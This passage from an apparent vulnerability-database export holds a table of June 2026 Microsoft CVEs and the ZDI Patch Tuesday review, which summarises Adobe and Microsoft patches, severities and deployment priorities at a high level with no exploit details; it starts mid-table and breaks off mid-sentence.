Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "a0760f93-e624-4c68-9f95-46ee27940677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48576", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less 